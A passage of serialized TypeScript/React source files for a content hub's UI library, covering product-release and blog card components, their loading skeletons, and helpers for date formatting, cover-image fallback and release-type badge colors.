hand — if you edit them in the hub's compact-card-classes.ts,\n            edit them here too. Per-row heights are fixed (h-5 / h-4 / h-4)\n            so a skeleton placeholder occupies the SAME pixel position\n            as the loaded text — zero load-to-resolve baseline shift. */}\n        <span className=\"flex min-w-0 flex-1 flex-col gap-0.5 min-h-14\">\n          <span className=\"flex items-center gap-2 min-w-0 h-5\">\n            <span className=\"truncate text-h6 font-semibold text-ods-text-primary min-w-0\" title={title}>\n              {title}\n            </span>\n            {version ? (\n              <span className=\"shrink-0 rounded bg-ods-accent/10 px-1.5 py-0.5 text-code text-ods-accent\">\n                {version}\n              </span>\n            ) : null}\n          </span>\n          <span className=\"flex items-center min-w-0 h-4\">\n            <span className=\"truncate text-h6 text-ods-text-secondary\">\n              {formattedDate || 'Product release'}\n            </span>\n          </span>\n          <span className=\"flex items-center min-w-0 h-4\">\n            <span className=\"truncate text-h6 text-ods-text-secondary/80\" title={summary || undefined}>\n              {/* The literal between the curly-quote string is U+00A0\n                  (NBSP). The hub's `COMPACT_CARD_ROW_FILLER` is also\n                  NBSP; ASCII space here would let React collapse the\n                  child to zero content, breaking baseline parity with\n                  the skeleton. Keep these in lockstep. */}\n              {summary || ' '}\n            </span>\n          </span>\n        </span>\n      </>\n    )\n    // Anchor variant — consumer's `useNavLink` (or equivalent) owns the\n    // click decision; the card just spreads the prop bundle and renders\n    // a real `<a>` so cmd/ctrl-click new-tab + middle-click work without\n    // any extra JS. This is the SAME pattern BlogCard / CaseStudyCard /\n    // ProgramCard / etc. use across the consumer codebase.\n    if (anchorProps) {\n      return (\n        <a {...anchorProps} className={outerClassName}>\n          {innerChildren}\n        </a>\n      )\n    }\n    // Legacy fallback — `onClick` (no href). Keeps the public `/releases`\n    // page's existing `router.push(...)` flow working unchanged. When\n    // neither `anchorProps` nor `onClick` is set, renders a static\n    // non-interactive span.\n    return (\n      <span\n        role={onClick ? 'button' : undefined}\n        tabIndex={onClick ? 0 : undefined}\n        onClick={onClick}\n        onKeyDown={onClick ? handleKey : undefined}\n        className={outerClassName}\n      >\n        {innerChildren}\n      </span>\n    )\n  }\n\n  // Unreachable — `size` is typed `'lg' | 'sm'` and both branches return\n  // above. Kept as a defensive throw so a future variant addition that\n  // forgets to return doesn't silently render `undefined`.\n  throw new Error(`ProductReleaseCard: unsupported size '${size as string}'`)\n}\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../../utils/cn'\n\nexport interface ProductReleaseCardSkeletonProps {\n  /** Additional CSS classes */\n  className?: string\n  /** Card density. Must match the loaded card's `size` prop so the loading\n   *  height matches the resolved height (no layout shift on resolve). */\n  size?: 'lg' | 'sm'\n}\n\nexport function ProductReleaseCardSkeleton({ className, size = 'lg' }: ProductReleaseCardSkeletonProps) {\n  // ----- LG branch — must match ProductReleaseCard size='lg'.\n  // Same outer frame (`bg-ods-card border border-ods-border …\n  // p-6 gap-4`). Inner: hero (16:9 cover + version pill + title + summary),\n  // changelog strip placeholder, metadata-grid footer (4 cells via grid).\n  // Heights chosen to match the loaded card's rendered metrics so the\n  // 5-card slot grid in `ReleasesList` doesn't jump on resolve. The\n  // loaded card ALSO always renders the changelog strip + a fixed 4-cell\n  // grid (with em-dash placeholders for missing values), so this\n  // skeleton's shape matches exactly with zero load-to-resolve reflow.\n  if (size === 'lg') {\n    return (\n      <div\n        className={cn(\n          'bg-ods-card border border-ods-border rounded-lg overflow-hidden',\n          'flex flex-col p-6 gap-4',\n          'animate-pulse',\n          className,\n        )}\n      >\n        {/* HERO — placeholders use `bg-ods-border` (#3a3a3a) so they\n            contrast against the card's `bg-ods-card`\n            (#212121) container. The metadata grid cells below use\n            `bg-ods-card` containers so `bg-ods-bg` placeholders work\n            there, but in the hero the card IS `bg-ods-card`-equivalent —\n            `bg-ods-bg` (#161616) is only 6 hex points darker than the\n            card and renders nearly invisible.\n\n            CRITICAL: title + summary use the SAME min-h containers as\n            the loaded card so total card height is byte-identical\n            between skeleton state and loaded state. Without this,\n            individual placeholder heights underrun the loaded card's\n            min-h reservations and the page jumps on resolve. */}\n        <div className=\"flex flex-col md:flex-row gap-4 md:gap-6\">\n          <div className=\"w-full md:w-[256px] aspect-[1200/630] bg-ods-border rounded-lg flex-shrink-0\" />\n          <div className=\"flex-1 min-w-0 flex flex-col\">\n            {/* Version pill — mirrors `flex items-center gap-3 mb-3` in\n                the loaded card. The loaded `<span text-lg>` renders at\n                line-height 28 px (Tailwind text-lg = 18 px / 28 px LH);\n                placeholder uses `h-7` (28 px) to match exactly. */}\n            <div className=\"flex items-center gap-3 mb-3\">\n              <div className=\"h-7 w-20 bg-ods-border rounded\" />\n            </div>\n            {/* Title container — SAME min-h as the loaded card so the\n                card height contributed by this region matches exactly. */}\n            <div className=\"min-h-[60px] md:min-h-[72px] flex flex-col gap-1.5 justify-start mb-3\">\n              <div className=\"h-[25px] md:h-[30px] w-3/4 bg-ods-border rounded\" />\n              <div className=\"h-[25px] md:h-[30px] w-1/2 bg-ods-border rounded\" />\n            </div>\n            {/* Summary container — SAME min-h as the loaded card. The\n                3 placeholder lines mirror the rendered 3-line clamp;\n                `bg-ods-border/70` keeps summary placeholders slightly\n                dimmer than title placeholders (primary vs secondary\n                text hierarchy). */}\n            <div className=\"min-h-[68px] md:min-h-[78px] flex flex-col gap-2 justify-start\">\n              <div className=\"h-3 w-full bg-ods-border/70 rounded\" />\n              <div className=\"h-3 w-11/12 bg-ods-border/70 rounded\" />\n              <div className=\"h-3 w-5/6 bg-ods-border/70 rounded\" />\n            </div>\n          </div>\n        </div>\n\n        {/* CHANGELOG strip placeholder — always rendered. Inner\n            placeholder `h-5` mirrors the loaded strip's `text-sm`\n            line-height (20 px) so total height is consistent with the\n            loaded `border-t pt-3 + text content` (~32-33 px). */}\n        <div className=\"border-t border-ods-border pt-3\">\n          <div className=\"h-5 w-2/3 bg-ods-border/70 rounded\" />\n        </div>\n\n        {/* METADATA GRID — 4-cell placeholder. The grid cells use\n            `bg-ods-card` containers and `bg-ods-bg` placeholders, which\n            DO contrast correctly because the cells are brighter than\n            the placeholders. Inner content heights mirror the loaded\n            cells (`text-h4` ≈ 28 px + `DM_Sans 14px leading-20`) so\n            total grid height matches the loaded ~86 px. */}\n        <div className=\"grid grid-cols-1 md:grid-cols-4 border border-ods-border rounded-md overflow-hidden w-full\">\n          {[0, 1, 2].map((i) => (\n            <div\n              key={`cell-${i}`}\n              className=\"bg-ods-card p-4 flex flex-col gap-3 border-b md:border-b-0 md:border-r border-ods-border\"\n            >\n              <div className=\"flex flex-col gap-2\">\n                <div className=\"h-7 w-24 bg-ods-bg rounded\" />\n                <div className=\"h-4 w-16 bg-ods-bg/60 rounded\" />\n              </div>\n            </div>\n          ))}\n          {/* Author cell */}\n          <div className=\"bg-ods-card p-4 flex items-center gap-3\">\n            <div className=\"h-10 w-10 rounded-full bg-ods-bg shrink-0\" />\n            <div className=\"flex flex-col gap-2 flex-1 min-w-0\">\n              <div className=\"h-5 w-3/4 bg-ods-bg rounded\" />\n              <div className=\"h-4 w-1/2 bg-ods-bg/60 rounded\" />\n            </div>\n          </div>\n        </div>\n      </div>\n    )\n  }\n\n  // ----- COMPACT branch — must match ProductReleaseCard size='sm' exactly.\n  // Same outer: span + items-start + gap-3 + p-2 + my-1.5 (no border to keep\n  // the skeleton 1px lighter than the resolved card is fine — but we mirror\n  // the border too so width is byte-identical). Inner row 1 = title +\n  // version-pill; row 2 = date; row 3 = summary line. Heights/widths chosen\n  // to match the rendered card line-heights (text-sm = 14px line-height-20,\n  // text-[11px] = 11/16). The total height comes out the same as the loaded\n  // card so the chat message height does NOT jump on resolve.\n  if (size === 'sm') {\n    return (\n      <span\n        className={cn(\n          'my-1.5 flex w-full animate-pulse items-start gap-3',\n          'rounded-lg border border-ods-border bg-ods-card p-2',\n          className,\n        )}\n      >\n        <span className=\"block h-14 w-14 aspect-square shrink-0 self-start rounded-md bg-ods-bg\" />\n        {/* Text column: 3 rows with FIXED heights matching the loaded\n            card (h-5 title, h-4 + h-4 meta + summary). Skeleton bars\n            sit centered inside each row container so a placeholder\n            occupies the SAME pixel position as the loaded text will\n            on resolve. */}\n        <span className=\"flex min-w-0 flex-1 flex-col gap-0.5 min-h-14\">\n          <span className=\"flex items-center min-w-0 h-5 gap-2\">\n            <span className=\"h-3.5 w-3/5 rounded bg-ods-bg\" />\n            <span className=\"h-4 w-12 rounded bg-ods-bg/70 shrink-0\" />\n          </span>\n          <span className=\"flex items-center min-w-0 h-4\">\n            <span className=\"h-3 w-1/3 rounded bg-ods-bg/70\" />\n          </span>\n          <span className=\"flex items-center min-w-0 h-4\">\n            <span className=\"h-3 w-11/12 rounded bg-ods-bg/40\" />\n          </span>\n        </span>\n      </span>\n    )\n  }\n\n  // Unreachable — `size` is typed `'lg' | 'sm'` and both branches return\n  // above. Kept as a defensive throw so a future variant addition that\n  // forgets to return doesn't silently render `undefined`.\n  throw new Error(`ProductReleaseCardSkeleton: unsupported size '${size as string}'`)\n}\n","/**\n * Shared Date Formatting Utilities\n * Single source of truth for date formatting across the application\n */\n\nconst MONTHS_LONG = [\n  'January', 'February', 'March', 'April', 'May', 'June',\n  'July', 'August', 'September', 'October', 'November', 'December',\n] as const\n\nconst MONTHS_SHORT = [\n  'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',\n  'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec',\n] as const\n\n/**\n * Split an ISO date / date-time string into `[year, month, day]` strings.\n * Internal — date-only inputs avoid the `new Date(...)` timezone shift\n * (which renders `\"2025-11-11\"` as Nov 10 west of UTC).\n */\nfunction splitYmd(dateString: string): [string, string, string] | null {\n  const head = dateString.split('T')[0]\n  const parts = head.split('-')\n  if (parts.length !== 3) return null\n  return [parts[0], parts[1], parts[2]]\n}\n\n/**\n * Format release date — avoids timezone shifts.\n * @returns e.g. `\"November 11, 2025\"`\n */\nexport function formatReleaseDate(dateString: string): string {\n  const ymd = splitYmd(dateString)\n  if (!ymd) return dateString\n  const [year, month, day] = ymd\n  return `${MONTHS_LONG[parseInt(month) - 1]} ${parseInt(day)}, ${year}`\n}\n\n/**\n * Short-form date — `\"Jan 5, 2025\"`. Same TZ-safe parsing as\n * `formatReleaseDate`; differs only in month abbreviation. Single source\n * of truth for the short-month-day-year shape used across hub admin\n * cards (waitlist, publication, media, investor, campaign, etc.) and\n * lib chat cards (campaign-card-admin).\n */\nexport function formatDateShort(dateString: string): string {\n  const ymd = splitYmd(dateString)\n  if (!ymd) return dateString\n  const [year, month, day] = ymd\n  return `${MONTHS_SHORT[parseInt(month) - 1]} ${parseInt(day)}, ${year}`\n}\n\n/**\n * Slash-form date — `\"11/11/2025\"`. TZ-safe (string-split, no\n * `new Date(...)`). Used by hub admin product-release + customer-\n * interview cards where the compact MM/DD/YYYY layout is desired.\n */\nexport function formatDateSlashUTC(dateString: string): string {\n  const ymd = splitYmd(dateString)\n  if (!ymd) return dateString\n  const [year, month, day] = ymd\n  return `${month}/${day}/${year}`\n}\n","/**\n * Single source of truth for the ProductReleaseCard cover-image fallback\n * priority. Every surface that renders a `<ProductReleaseCard>` (catalog row,\n * chat-inline dispatcher, chat wrapper) computes the cover via this helper —\n * adding a new fallback source or reordering the priority is ONE edit.\n *\n * **Priority** (intentional):\n *   1. `featured_image` — editor-curated cover, always wins.\n *   2. `highlight_video_thumbnail` — AI-generated highlight reel thumb.\n *   3. `main_video_thumbnail` — full-release video thumb.\n *   4. `og_image_url` — SEO fallback.\n *   5. `null` — caller renders the entity placeholder.\n *\n * **`hasVideoCover`** fires ONLY when the active cover is a video thumb\n * (priority 2 or 3). When the editor configured a still `featured_image`, a\n * Play overlay would be misleading and is suppressed.\n *\n * Operator note: `||` (not `??`) so empty-string DB values fall through to the\n * next fallback rather than rendering `<Image src=\"\">`.\n *\n * (Lifted from the hub so the rich `buildProductReleaseCardProps` works in the\n * lib / any embedder, not just the hub.)\n */\n\nexport interface ReleaseCoverSource {\n  featured_image?: string | null\n  highlight_video_thumbnail?: string | null\n  main_video_thumbnail?: string | null\n  og_image_url?: string | null\n}\n\nexport interface ReleaseCoverResult {\n  cover: string | null\n  hasVideoCover: boolean\n}\n\nexport function resolveReleaseCover(r: ReleaseCoverSource): ReleaseCoverResult {\n  const cover =\n    r.featured_image ||\n    r.highlight_video_thumbnail ||\n    r.main_video_thumbnail ||\n    r.og_image_url ||\n    null\n  const hasVideoCover = !r.featured_image && !!(r.highlight_video_thumbnail || r.main_video_thumbnail)\n  return { cover, hasVideoCover }\n}\n","/**\n * Single source of truth for mapping a product release's `release_type` to\n * the `StatusBadge` colorScheme used in the `ProductReleaseCard` lg variant's\n * metadata-grid Type cell. Every surface that renders a\n * `<ProductReleaseCard size=\"lg\" ...>` must pass this value as\n * `releaseTypeBadgeColor` or the card falls back to a `'—'` placeholder\n * (the card requires BOTH `releaseType && releaseTypeBadgeColor` to paint a\n * colored badge).\n *\n * Mapping mirrors the visual hierarchy operators expect at a glance:\n *   major  → error   (red, breaking change)\n *   minor  → cyan    (accent, feature)\n *   patch  → success (green, safe bump)\n *   beta/alpha → warning (yellow, preview)\n *\n * (Lifted from the hub so every embedder — not just the hub — gets the rich\n * card metadata. The admin form's `releaseTypeOptions.color` array uses a\n * different color vocabulary — different concern; don't unify here.)\n */\nexport type ReleaseType = 'major' | 'minor' | 'patch' | 'beta' | 'alpha'\nexport type ReleaseTypeBadgeColor = 'error' | 'cyan' | 'success' | 'warning'\n\n/**\n * Accepts a wider input type than `ReleaseType` because list-API rows can\n * carry legacy / unenforced `release_type` values. Returns `undefined` for\n * unknown values — the card guards on `releaseType && releaseTypeBadgeColor`\n * to decide whether to render a colored badge or fall back to an em-dash, so\n * an undefined return is the correct failure mode (badge hidden), not a crash.\n */\nexport function releaseTypeToBadgeColor(\n  t: ReleaseType | string | null | undefined,\n): ReleaseTypeBadgeColor | undefined {\n  switch (t) {\n    case 'major':\n      return 'error'\n    case 'minor':\n      return 'cyan'\n    case 'patch':\n      return 'success'\n    case 'beta':\n    case 'alpha':\n      return 'warning'\n    default:\n      return undefined\n  }\n}\n","/**\n * Lib-side default `buildProductReleaseCardProps` for the chat dispatch.\n *\n * The compact (`size='sm'`) branch of `<ProductReleaseCard>` only reads\n * `coverImage`, `hasVideoCover`, and `formattedDate` — the rest of the\n * derived prop bundle is catalog-page (`size='lg'`) metadata. This\n * default builder satisfies the three sm-relevant fields with row data\n * the list-API already returns, so embedders that don't supply\n * `opts.extras.buildProductReleaseCardProps` still get a rendered card\n * instead of a bare text chip. Hub-side embedders pass their richer\n * builder via `extras` to get the lg-only fields (changelogCounts,\n * badge color, view count, etc.).\n */\n\nimport { formatReleaseDate } from '../../../utils/date-formatters'\nimport { resolveReleaseCover } from '../../../utils/release-cover'\nimport {\n  releaseTypeToBadgeColor,\n  type ReleaseType,\n  type ReleaseTypeBadgeColor,\n} from '../../../utils/release-badge'\n\ninterface ReleaseLike {\n  release_date?: string | null\n  featured_image?: string | null\n  og_image_url?: string | null\n  main_video_thumbnail?: string | null\n  highlight_video_thumbnail?: string | null\n  main_video_url?: string | null\n  youtube_url?: string | null\n}\n\ninterface DerivedSmProps {\n  coverImage: string | null\n  hasVideoCover: boolean\n  formattedDate: string\n}\n\n/** Pick the first usable image URL from the row's cover-candidate fields.\n *  This is an INTENTIONALLY SIMPLER sm-subset heuristic — it does NOT mirror the\n *  hub's `resolveReleaseCover`: when a video URL is set this prefers\n *  `main_video_thumbnail` (then `highlight_video_thumbnail`) over `featured_image`,\n *  and keys `hasVideoCover` off `main_video_url`/`youtube_url` (fields the hub\n *  helper never reads). It's the builder-less default (chat sm cards + any embedder\n *  that doesn't pass its own `buildCardProps` to `ProductReleasesView`); hosts\n *  wanting hub-identical covers pass their richer builder (the hub does — see\n *  the hub's `product-release-card-props.ts` / `resolveReleaseCover`). */\nfunction pickCover(item: ReleaseLike): string | null {\n  const hasVideo = Boolean(item.main_video_url || item.youtube_url)\n  if (hasVideo) {\n    if (item.main_video_thumbnail) return item.main_video_thumbnail\n    if (item.highlight_video_thumbnail) return item.highlight_video_thumbnail\n  }\n  return item.featured_image ?? item.og_image_url ?? null\n}\n\nexport function defaultBuildProductReleaseCardProps(item: unknown): DerivedSmProps {\n  const row = (item ?? {}) as ReleaseLike\n  return {\n    coverImage: pickCover(row),\n    hasVideoCover: Boolean(row.main_video_url || row.youtube_url),\n    // `formatReleaseDate` is TZ-safe (splits the `YYYY-MM-DD` head before\n    // constructing the Date). Using `new Date(input).toLocaleDateString`\n    // here would shift the date by one day west of UTC for date-only\n    // inputs — the hub's own `buildProductReleaseCardProps` already uses\n    // this helper, so the chat-default + hub builder agree.\n    formattedDate: row.release_date ? formatReleaseDate(row.release_date) : '',\n  }\n}\n\n// ───────────────────────────────────────────────────────────────────────────\n// RICH (lg-variant) builder — the DEFAULT for <ProductReleasesView>.\n// ───────────────────────────────────────────────────────────────────────────\n\n/** Minimal shape the RICH builder reads. List-API rows from `/api/releases`\n *  carry all of these; `release_type` is widened to `string` to absorb legacy\n *  non-enum values (the badge helper returns `undefined` for unknowns, which\n *  the card guards correctly with an em-dash placeholder). */\ninterface RichReleaseLike {\n  release_date?: string | null\n  release_type?: string | null\n  release_status?: 'alpha' | 'beta' | 'stable' | 'deprecated' | null\n  view_count?: number | null\n  author?: { full_name: string; avatar_url: string | null; job_title: string | null } | null\n  features_added?: unknown[] | null\n  bugs_fixed?: unknown[] | null\n  improvements?: unknown[] | null\n  breaking_changes?: unknown[] | null\n  featured_image?: string | null\n  highlight_video_thumbnail?: string | null\n  main_video_thumbnail?: string | null\n  og_image_url?: string | null\n}\n\nexport interface ProductReleaseCardDerivedProps {\n  coverImage: string | null\n  hasVideoCover: boolean\n  formattedDate: string\n  releaseType: ReleaseType | undefined\n  releaseStatus: 'alpha' | 'beta' | 'stable' | 'deprecated' | undefined\n  releaseTypeBadgeColor: ReleaseTypeBadgeColor | undefined\n  viewCount: number\n  author: { full_name: string; avatar_url: string | null; job_title: string | null } | undefined\n  changelogCounts: { features: number; fixes: number; improvements: number; breaking: number }\n}\n\nconst RELEASE_TYPE_ENUM: ReadonlySet<ReleaseType> = new Set(['major', 'minor', 'patch', 'beta', 'alpha'])\n\n/**\n * The RICH `lg`-variant builder — populates the full metadata grid (Type /\n * Status / author / view count / changelog counts) the `lg` `ProductReleaseCard`\n * renders. This is the DEFAULT `buildCardProps` for `<ProductReleasesView>`, so\n * embedders get the full card config-only. (Lifted from the hub; before this,\n * the example fell back to the sm builder and the lg Type/Status/author cells\n * rendered as em-dash placeholders.) The sm chat card keeps\n * `defaultBuildProductReleaseCardProps` — it ignores the lg-only fields.\n */\nexport function buildProductReleaseCardProps(item: unknown): ProductReleaseCardDerivedProps {\n  const release = (item ?? {}) as RichReleaseLike\n  const { cover, hasVideoCover } = resolveReleaseCover(release)\n  const rawType = release.release_type\n  const releaseType: ReleaseType | undefined =\n    rawType && RELEASE_TYPE_ENUM.has(rawType as ReleaseType) ? (rawType as ReleaseType) : undefined\n  return {\n    coverImage: cover,\n    hasVideoCover,\n    formattedDate: release.release_date ? formatReleaseDate(release.release_date) : '',\n    releaseType,\n    releaseStatus: release.release_status ?? undefined,\n    releaseTypeBadgeColor: releaseTypeToBadgeColor(releaseType),\n    viewCount: release.view_count ?? 0,\n    author: release.author\n      ? {\n          full_name: release.author.full_name,\n          avatar_url: release.author.avatar_url,\n          job_title: release.author.job_title,\n        }\n      : undefined,\n    changelogCounts: {\n      features: release.features_added?.length ?? 0,\n      fixes: release.bugs_fixed?.length ?? 0,\n      improvements: release.improvements?.length ?? 0,\n      breaking: release.breaking_changes?.length ?? 0,\n    },\n  }\n}\n","'use client'\n\n/**\n * BlogCard (pure presentation).\n *\n * Two densities:\n *   - `default`: full vertical card with cover, title, summary, author/date\n *     footer.\n *   - `sm`: compact horizontal card (~80px tall) for chat-inline rendering.\n *\n * The card writes NO click logic — callers wrap with their own anchor\n * (e.g. hub's `<NavLinkAnchor>` or lib's `<NavLinkAnchorViaRuntime>`)\n * and pass the resolved detail URL via `href`.\n *\n * Image-fallback chain:\n *   `post.featured_image` → `placeholderUrl` (caller passes\n *   `useOgPlaceholderUrl(...)` from the hub OR any pre-resolved URL) →\n *   `bg-ods-bg` (via the slot's background).\n */\n\nimport React from 'react'\nimport { Eye } from 'lucide-react'\nimport Image from '../../../embed-shims/next-image'\nimport { StatusBadge } from '../../ui/status-badge'\nimport { cn } from '../../../utils/cn'\nimport type { BlogPostSummary } from '../../../types/blog'\nimport { EntityPortraitCard } from './entity-portrait-card'\nimport { useEntityCardLink } from './use-entity-card-link'\nimport { useEntityCardPlaceholder } from './use-entity-card-placeholder'\nimport { useCoverImageFallback } from './use-cover-image-fallback'\nimport {\n  COMPACT_CARD_IMAGE_SLOT,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUBTITLE,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n} from '../utils/compact-card-classes'\n\nexport interface BlogCardProps {\n  post: BlogPostSummary\n  /** Detail URL resolved by the caller (e.g. `buildContentURL`). */\n  href: string\n  /** When `_blank`, opens in a new tab. Set by chat dispatch via\n   *  `computeIsNewTab`. Defaults to same-tab. */\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n  /** Platform that owns `href`. Used by parent wrappers; the card\n   *  itself doesn't read it but exposes the prop for the standard\n   *  pure-presentation contract. */\n  targetPlatform?: string | null\n  /** Placeholder URL when `post.featured_image` is missing. Caller\n   *  resolves via `useOgPlaceholderUrl` (hub) or a static asset. */\n  placeholderUrl?: string | null\n  size?: 'default' | 'sm' | 'portrait'\n  /** Portrait density: render the content-type chip. Mixed rails only; single-type rails pass false. Default true. */\n  showTypeBadge?: boolean\n  className?: string\n  /** Surfaces a \"Video\" badge in compact mode. */\n  hasEmbeddedVideo?: boolean\n  /** Optional render-prop for the title-area anchor in `default` mode.\n   *  When omitted the title renders as plain text (caller wraps the\n   *  whole card if it wants a link). */\n  priority?: boolean\n}\n\n/** `portrait` shares the default skeleton shape (same zone boxes). */\nexport function BlogCardSkeleton({ size = 'default' }: { size?: 'default' | 'sm' | 'portrait' }) {\n  if (size === 'sm') {\n    return (\n      <span className={COMPACT_CARD_SKELETON_OUTER}>\n        <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={COMPACT_CARD_TITLE_ROW}>\n            <span className=\"h-3.5 w-3/5 rounded bg-ods-bg\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-2/5 rounded bg-ods-bg/70\" />\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className=\"h-3 w-11/12 rounded bg-ods-bg/40\" />\n          </span>\n        </span>\n      </span>\n    )\n  }\n  return (\n    <article className=\"group bg-ods-card border border-ods-border rounded-lg overflow-hidden h-full flex flex-col animate-pulse\">\n      <div className=\"aspect-[1200/630] bg-ods-bg\" />\n      <div className=\"p-4 flex flex-col flex-grow space-y-3\">\n        <div className=\"h-5 w-3/4 bg-ods-bg rounded\" />\n        <div className=\"h-5 w-1/2 bg-ods-bg rounded\" />\n        <div className=\"h-3 w-full bg-ods-bg/60 rounded\" />\n        <div className=\"h-3 w-4/5 bg-ods-bg/60 rounded\" />\n        <div className=\"mt-auto flex items-center gap-2\">\n          <div className=\"h-8 w-8 rounded-full bg-ods-bg\" />\n          <div className=\"h-3 w-24 bg-ods-bg/60 rounded\" />\n        </div>\n      </div>\n    </article>\n  )\n}\n\nexport function BlogCard({\n  post,\n  href,\n  target: targetProp,\n  rel: relProp,\n  targetPlatform,\n  placeholderUrl: placeholderUrlProp,\n  size = 'default',\n  showTypeBadge = true,\n  className,\n  hasEmbeddedVideo = false,\n  priority = false,\n}: BlogCardProps) {\n  const { target, rel } = useEntityCardLink({\n    href,\n    targetPlatform,\n    target: targetProp,\n    rel: relProp,\n  })\n  const placeholderUrl = useEntityCardPlaceholder({\n    title: post.title,\n    placeholderUrl: placeholderUrlProp,\n    aspect: size === 'sm' ? 'square' : 'wide',\n  })\n  // Shared cover → placeholder → hide chain (ONE fallback logic for all cards).\n  const { src: displayImage, onError: onImageError } = useCoverImageFallback(post.featured_image, placeholderUrl)\n\n  if (size === 'sm') {\n    const dateStr = post.published_at\n      ? new Date(post.published_at).toLocaleDateString('en-US', { year: 'numeric', month: 'short', day: 'numeric', timeZone: 'UTC' })\n      : ''\n    const firstCategory = post.categories?.find((c) => c && c.name)?.name\n    return (\n      <a\n        href={href}\n        target={target}\n        rel={rel}\n        className={cn(COMPACT_CARD_OUTER, className)}\n        aria-label={`Read article: ${post.title}`}\n      >\n        <span className={COMPACT_CARD_IMAGE_SLOT}>\n          {displayImage ? (\n            <Image\n              src={displayImage}\n              alt={post.title}\n              fill\n              sizes=\"56px\"\n              className=\"object-contain\"\n              unoptimized\n              onError={onImageError}\n            />\n          ) : null}\n        </span>\n        <span className={COMPACT_CARD_TEXT_COL}>\n          <span className={cn(COMPACT_CARD_TITLE_ROW, 'gap-1.5')}>\n            <span className={cn(COMPACT_CARD_TITLE, 'font-body')}>\n              {post.title}\n            </span>\n            {hasEmbeddedVideo ? (\n              <StatusBadge text=\"Video\" variant=\"button\" colorScheme=\"cyan\" className=\"shrink-0\" />\n            ) : null}\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUBTITLE}>\n              {dateStr}{dateStr && firstCategory ? ' · ' : ''}{firstCategory ?? 'Blog Post'}\n            </span>\n          </span>\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_SUMMARY}>\n              {post.summary || COMPACT_CARD_ROW_FILLER}\n            </span>\n          </span>\n        </span>\n      </a>\n    )\n  }\n\n  if (size === 'portrait') {\n    // Rail/strip density — shared <EntityPortraitCard> shell. Raw cover +\n    // placeholder go in separately; the shell runs the SAME shared\n    // useCoverImageFallback chain internally (so its error recovery works).\n    const dateStr = post.published_at\n      ? new Date(post.published_at).toLocaleDateString('en-US', { year: 'numeric', month: 'short', day: 'numeric', timeZone: 'UTC' })\n      : ''\n    return (\n      <EntityPortraitCard\n        href={href}\n        target={target}\n        rel={rel}\n        typeLabel={showTypeBadge ? 'Blog Post' : undefined}\n        imageUrl={post.featured_image}\n        placeholderUrl={placeholderUrl}\n        imageAlt={post.title}\n        title={post.title}\n        person={{\n          name: post.author_name || 'Anonymous',\n          avatarUrl: post.author_avatar,\n          subtitle: dateStr || null,\n        }}\n        className={className}\n      />\n    )\n  }\n\n  // Default: full vertical card.\n  const dateStr = post.published_at\n    ? new Date(post.published_at).toLocaleDateString('en-US', { year: 'numeric', month: 'short', day: 'numeric', timeZone: 'UTC' })\n    : ''\n  return (\n    <article\n      className={cn(\n        'group bg-ods-card border border-ods-border rounded-lg overflow-hidden',\n        'transition-all duration-300 ease-out',\n        'transform hover:translate-y-[-2px]',\n        'hover:border-ods-accent hover:shadow-lg hover:shadow-ods-accent/[0.08]',\n        'h-full flex flex-col',\n        className,\n      )}\n      role=\"article\"\n    >\n      <a\n        href={href}\n        target={target}\n        rel={rel}\n        className=\"flex flex-col h-full focus:outline-none\"\n        aria-label={`Read article: ${post.title}`}\n      >\n        <div className=\"relative w-full aspect-[1200/630] overflow-hidden bg-ods-bg\">\n          {displayImage ? (\n            <Image\n              src={displayImage}\n              alt={post.title}\n              fill\n              priority={priority}\n              quality={priority ? 85 : 75}\n              className={cn(\n                'object-cover object-center',\n                'transition-all duration-400 ease-out',\n                'hover:scale-[1.02]',\n              )}\n              sizes=\"(max-width: 768px) 100vw, (max-width: 1519px) 50vw, 33vw\"\n              unoptimized\n              onError={onImageError}\n            />\n          ) : null}\n        </div>\n\n        <div className=\"p-4 flex flex-col flex-grow\">\n          <div className=\"mb-3 flex items-center min-h-[50.4px] md:min-h-[56px] lg:min-h-[61.6px]\">\n            <h3\n              className={cn(\n                'text-h3 text-ods-text-primary',\n                'line-clamp-2',\n                'transition-colors duration-300 ease-out',\n                'group-hover:text-ods-accent',\n              )}\n            >\n              {post.title}\n            </h3>\n          </div>\n\n          <div className=\"mb-3 flex items-center min-h-[42px] md:min-h-[45px] lg:min-h-[48px]\">\n            <p\n              className={cn(\n                'text-h6 text-ods-text-primary',\n                'line-clamp-2',\n              )}\n            >\n              {post.summary || ''}\n            </p>\n          </div>\n\n          <div className=\"mt-auto flex items-center justify-between gap-2 text-h6 text-ods-text-secondary\">\n            <div className=\"flex items-center gap-2 min-w-0\">\n              {post.author_avatar ? (\n                <Image\n                  src={post.author_avatar}\n                  alt={post.author_name || ''}\n                  width={32}\n                  height={32}\n                  className=\"rounded-full shrink-0\"\n                  unoptimized\n                />\n              ) : null}\n              <span className=\"truncate\">\n                {post.author_name || 'Anonymous'}\n                {dateStr ? <> · {dateStr}</> : null}\n              </span>\n            </div>\n            <div\n              className=\"flex items-center gap-1 shrink-0\"\n              aria-label={`View count: ${(post.view_count ?? 0).toLocaleString('en-US')} views`}\n            >\n              <Eye className=\"w-4 h-4 shrink-0\" />\n              <span>{(post.view_count ?? 0).toLocaleString('en-US')}</span>\n            </div>\n          </div>\n        </div>\n      </a>\n    </article>\n  )\n}\n","'use client'\n\n/**\n * Shared link-attribute resolver for every entity card.\n *\n * Pure-presentation cards (BlogCard, OnboardingGuideCard, etc.)\n * historically required callers to pre-compute `target`/`rel` via a\n * hub-side `useNavLink` 